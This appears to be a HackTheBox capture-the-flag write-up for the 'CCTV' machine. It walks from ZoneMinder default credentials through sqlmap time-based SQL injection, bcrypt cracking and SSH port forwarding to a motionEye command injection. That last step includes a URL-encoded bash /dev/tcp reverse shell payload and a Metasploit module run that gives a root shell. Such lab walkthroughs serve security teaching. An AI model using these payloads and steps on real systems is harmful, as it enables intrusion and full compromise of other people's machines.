HackTheBox: CCTV - ZoneMinder SQLi, SSH Pivot & motionEye RCE to Root
Introduction
Welcome back to another deep-dive walkthrough. Today we're tackling CCTV, a machine from HackTheBox Season 10. This box is a multi-stage exploitation challenge that chains together:
- ZoneMinder default credential access
- Time-based blind SQL injection in the
tidparameter to dump database credentials - Password hash cracking with John the Ripper
- SSH port forwarding to pivot into internal services
- motionEye command injection via the
picture_filenameparameter for a root shell
Let's break it down.
1. Enumeration & Reconnaissance
Nmap Scan
We begin by scanning the target system using Nmap:
┌─[g4rxd@parrot]─[~/Desktop/Study/HTB/CCTV]
└──╼ $nmap -sC -sV -T4 cctv.htb
Starting Nmap 7.95 ( https://nmap.org ) at 2026-03-07 01:15 UTC
Nmap scan report for cctv.htb (10.129.X.X)
Host is up (0.31s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.6p1 Ubuntu 3ubuntu13.11 (Ubuntu Linux; protocol 2.0)
80/tcp open http Apache httpd 2.4.58 ((Ubuntu))
|_http-server-header: Apache/2.4.58 (Ubuntu)
|_http-title: Did not follow redirect to http://cctv.htb/
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 14.32 seconds
Service Analysis
Two services are exposed:
| Port | Service | Description |
|---|---|---|
| 22 | SSH | OpenSSH 9.6p1 — requires credentials |
| 80 | HTTP | Apache 2.4.58 — main attack surface |
Since SSH requires credentials, the web application becomes the main attack surface.
Web Discovery & Hosts Configuration
Opening the IP in the browser redirects to http://cctv.htb/. Added the domain to /etc/hosts:
┌─[g4rxd@parrot]─[~/Desktop/Study/HTB/CCTV]
└──╼ $sudo nano /etc/hosts
# Entry added:
10.129.X.X cctv.htb
Navigating to http://cctv.htb presents a CCTV security platform landing page.
2. Foothold: ZoneMinder Default Credentials
Web Enumeration
While exploring the website, we discover the following path:
http://cctv.htb/zm
This reveals a ZoneMinder login panel — a web-based surveillance management system.
Default credentials allow immediate access:
admin : admin
3. SQL Injection
After authentication, we identify a vulnerable endpoint:
/zm/index.php?view=request&request=event&action=removetag&tid=1
The tid parameter is not properly sanitised and is vulnerable to time-based blind SQL injection.
Exploiting with SQLMap
Grab the session cookie from the browser (Developer Tools → Storage → Cookies → copy ZMSESSID value) and confirm the injection with SQLMap:
┌─[g4rxd@parrot]─[~/Desktop/Study/HTB/CCTV]
└──╼ $sqlmap -u "http://cctv.htb/zm/index.php?view=request&request=event&action=removetag&tid=1" \
--cookie="ZMSESSID=<session>" \
-p tid --technique=T --time-sec=5 --batch
___
__H__
___ ___[,]_____ ___ ___ {1.8.3#stable}
|_ -| . [.] | .'| . |
|___|_ [(]_|_|_|__,| _|
|_|V... |_| https://sqlmap.org
[*] starting @ 01:43:11
[01:43:11] [INFO] testing connection to the target URL
[01:43:12] [INFO] testing if the target URL content is stable
[01:43:12] [INFO] parameter 'tid' appears to be injectable
[01:43:14] [INFO] time-based blind injection confirmed (sleep time=5s)
[01:43:14] [INFO] GET parameter 'tid' is 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)' injectable
sqlmap identified the following injection point(s):
---
Parameter: tid (GET)
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: view=request&request=event&action=removetag&tid=1 AND SLEEP(5)
---
SQLMap confirms the injection. Now let's dump the credentials.
Dumping Database Credentials
┌─[g4rxd@parrot]─[~/Desktop/Study/HTB/CCTV]
└──╼ $sqlmap -u "http://cctv.htb/zm/index.php?view=request&request=event&action=removetag&tid=1" \
--cookie="ZMSESSID=<session>" \
-p tid -D zm -T Users -C Username,Password \
--dump --batch
[01:55:22] [INFO] fetching entries of column(s) 'Username, Password' for table 'Users' in database 'zm'
[01:55:22] [WARNING] time-based comparison requires reset of statistical model, please wait..
[02:01:48] [INFO] retrieved: admin
[02:08:14] [INFO] retrieved: mark
[02:15:02] [INFO] retrieved: superadmin
Database: zm
Table: Users
[3 entries]
+------------+--------------------------------------------------------------+
| Username | Password |
+------------+--------------------------------------------------------------+
| admin | $2y$10$<hash> |
| mark | $2y$10$<hash> |
| superadmin | $2y$10$<hash> |
+------------+--------------------------------------------------------------+
Three bcrypt hashes extracted. Time to crack them.
Hash Cracking with John the Ripper
The hashes are bcrypt ($2y$). Save them to a file and crack with John against rockyou.txt:
┌─[g4rxd@parrot]─[~/Desktop/Study/HTB/CCTV]
└──╼ $cat hashes.txt
$2y$10$<admin_hash>
$2y$10$<mark_hash>
$2y$10$<superadmin_hash>
└──╼ $john --wordlist=/usr/share/wordlists/rockyou.txt hashes.txt
Using default input encoding: UTF-8
Loaded 3 password hashes with 3 different salts (bcrypt [Blowfish 32/64 X3])
Cost 1 (iteration count) is 1024 for all loaded hashes
Will run 16 OpenMP threads
opensesame (mark)
1g 0:01:42:38 DONE (2026-03-07 03:26) 0.000163g/s 93.42p/s
Use the "--show" option to display all of the cracked passwords reliably
Session completed.
Password cracked: opensesame for user mark.
4. Initial Access: SSH as mark
┌─[g4rxd@parrot]─[~/Desktop/Study/HTB/CCTV]
└──╼ $ssh mark@cctv.htb
mark@cctv.htb's password: opensesame
Last login: Fri Mar 7 00:12:44 2026
mark@cctv:~$ whoami
mark
We now have low-privileged access on the system.
5. Local Enumeration
Checking Internal Services
mark@cctv:~$ netstat -tulpn
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program
tcp 0 0 127.0.0.1:7999 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:8765 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:9081 0.0.0.0:* LISTEN -
tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN -
tcp 0 0 0.0.0.0:80 0.0.0.0:* LISTEN -
Three internal services are bound to localhost: 7999, 8765, and 9081. None of these appeared in the external Nmap scan — they are completely invisible from outside. The service on port 8765 corresponds to motionEye.
motionEye Service Analysis
mark@cctv:~$ cat /etc/systemd/system/motioneye.service
[Unit]
Description=motionEye Server
After=network.target
[Service]
User=root
ExecStart=/usr/local/bin/meyectl startserver -c /etc/motioneye/motioneye.conf
Restart=on-failure
[Install]
WantedBy=multi-user.target
Key finding: The service runs as User=root. Any command executed through motionEye will run with root privileges.
motionEye Configuration
mark@cctv:~$ cat /etc/motioneye/motioneye.conf
listen 127.0.0.1
port 8765
motion_control_localhost true
motion_control_port 7999
| Setting | Meaning |
|---|---|
listen 127.0.0.1 | motionEye only accessible locally |
port 8765 | Web interface port |
motion_control_port 7999 | Internal motion control API |
This explains why neither service appeared in the Nmap scan.
Admin Credentials in Config
mark@cctv:~$ cat /etc/motioneye/motion.conf
# @admin_username admin
# @admin_password 989c5a8ee87a0e9521ec81a79187d162109282f0
The motionEye administrator credentials are hardcoded in the config file — these will be used with the Metasploit method.
6. Port Forwarding
Since both services only listen on localhost, we use SSH local port forwarding to bring them to our attacker machine. Open two terminal tabs:
┌─[g4rxd@parrot]─[~/Desktop/Study/HTB/CCTV]
└──╼ $ssh -L 8765:127.0.0.1:8765 mark@cctv.htb
┌─[g4rxd@parrot]─[~/Desktop/Study/HTB/CCTV]
└──╼ $ssh -L 7999:127.0.0.1:7999 mark@cctv.htb
Both services are now accessible locally on our machine:
http://127.0.0.1:8765 → motionEye web dashboard
http://127.0.0.1:7999 → motion control API
7. Privilege Escalation — Method 1 (Manual Exploit)
The internal motion control API on localhost:7999 exposes a config set endpoint. The picture_filename parameter is passed directly to a shell command without sanitisation — a classic command injection vector.
Since motionEye runs as root, our injected command executes as root.
Exploit Steps (Order Matters)
Warning: This is one of those exploits where step order is critical. Most failed attempts skip the
emulate_motionstep.
Step 1: Start your listener first:
┌─[g4rxd@parrot]─[~/Desktop/Study/HTB/CCTV]
└──╼ $nc -lvnp 4444
Listening on 0.0.0.0 4444
Step 2: Enable picture output:
┌─[g4rxd@parrot]─[~/Desktop/Study/HTB/CCTV]
└──╼ $curl "http://127.0.0.1:7999/1/config/set?picture_output=on"
Step 3: Inject the reverse shell payload via picture_filename (URL-encoded):
┌─[g4rxd@parrot]─[~/Desktop/Study/HTB/CCTV]
└──╼ $curl "http://127.0.0.1:7999/1/config/set?picture_filename=%24%28bash%20-c%20%27bash%20-i%20%3E%26%20/dev/tcp/YOUR-IP/4444%200%3E%261%27%29"
Decoded payload: $(bash -c 'bash -i >& /dev/tcp/YOUR-IP/4444 0>&1')
Step 4: Enable motion trigger — this is the step most people miss:
┌─[g4rxd@parrot]─[~/Desktop/Study/HTB/CCTV]
└──╼ $curl "http://127.0.0.1:7999/1/config/set?emulate_motion=on"
Step 5: Trigger the snapshot to execute the payload:
┌─[g4rxd@parrot]─[~/Desktop/Study/HTB/CCTV]
└──╼ $curl "http://127.0.0.1:7999/1/action/snapshot"
Shell Caught
┌─[g4rxd@parrot]─[~/Desktop/Study/HTB/CCTV]
└──╼ $nc -lvnp 4444
Listening on 0.0.0.0 4444
Connection received on 10.129.X.X
root@cctv:/#
We are root.
8. Privilege Escalation — Method 2 (Metasploit)
The same vulnerability can be exploited using Metasploit. This approach uses the motionEye web dashboard on port 8765 directly (via the forwarded tunnel) with the admin credentials we found in motion.conf.
┌─[g4rxd@parrot]─[~/Desktop/Study/HTB/CCTV]
└──╼ $msfconsole
Search for the module:
msf6 > search motioneye
Matching Modules
================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 exploit/linux/http/motioneye_auth_rce_cve_2025_60787 excellent Yes motionEye Authenticated RCE via picture_filename Command Injection
Load and configure:
msf6 > use exploit/linux/http/motioneye_auth_rce_cve_2025_60787
msf6 exploit(...) > set RHOSTS 127.0.0.1
msf6 exploit(...) > set RPORT 8765
msf6 exploit(...) > set USERNAME admin
msf6 exploit(...) > set PASSWORD 989c5a8ee87a0e9521ec81a79187d162109282f0
msf6 exploit(...) > set LHOST tun0
msf6 exploit(...) > set LPORT 4444
msf6 exploit(...) > run
[*] Started reverse TCP handler on 10.10.14.X:4444
[*] Authenticating to motionEye at 127.0.0.1:8765
[+] Authentication successful
[*] Injecting payload into picture_filename parameter
[*] Triggering snapshot...
[*] Sending stage (3045348 bytes) to 10.129.X.X
[*] Meterpreter session 1 opened
meterpreter > getuid
Server username: root
A Meterpreter session opened with root privileges.
9. Flags
Since we now have root access, both flags can be retrieved.
User Flag
root@cctv:/# cat /home/sa_mark/user.txt
[Redacted]
🏁 User Flag: [Redacted]
Root Flag
root@cctv:/# cat /root/root.txt
[Redacted]
🏁 Root Flag: [Redacted]
Attack Chain Summary
Nmap Scan
↓
Web Enumeration → /zm
↓
ZoneMinder Login (admin:admin)
↓
SQL Injection (tid parameter)
↓
Database Credential Dump
↓
Hash Cracking (john + rockyou.txt)
↓
SSH Access (mark:opensesame)
↓
Local Service Enumeration
↓
SSH Port Forwarding (7999, 8765)
↓
motionEye Exploit (picture_filename RCE)
↓
Root Shell
↓
Read user.txt + root.txt
Summary & Takeaways
| Step | Technique | Tool |
|---|---|---|
| Recon | Nmap TCP scan | nmap |
| Web Enum | Directory browsing → /zm ZoneMinder panel | Browser |
| Access | Default credentials admin:admin | — |
| SQLi | Time-based blind injection on tid parameter | SQLMap |
| Hash Crack | bcrypt cracked with rockyou.txt | John the Ripper |
| SSH Access | Login as mark with cracked password | SSH |
| Pivot | SSH local port forwarding (-L) to expose internal services | SSH |
| RCE | picture_filename command injection — motionEye runs as root | curl / Metasploit |
| Root | Reverse shell / Meterpreter as root | nc / msfconsole |
CCTV is a great box that demonstrates how a chain of individually simple issues — default credentials, unsanitised SQL, misconfigured internal services running as root — can combine into a full system compromise. The motionEye exploit is satisfying because the emulate_motion step is non-obvious and trips up a lot of people. Read the API carefully before trying to fire.
Key lessons:
- Default credentials are always worth trying — never skip them even on "security" platforms.
- Internal services bound to localhost are invisible to external scans but are often the most vulnerable parts of a system.
- Exploit ordering matters: enable output → inject payload → enable motion → trigger snapshot. Skip any step and nothing fires.
If you have any questions or want to discuss this walkthrough, feel free to reach out on Twitter / X or use the interactive terminal on this site!
Mission Accomplished. 🏁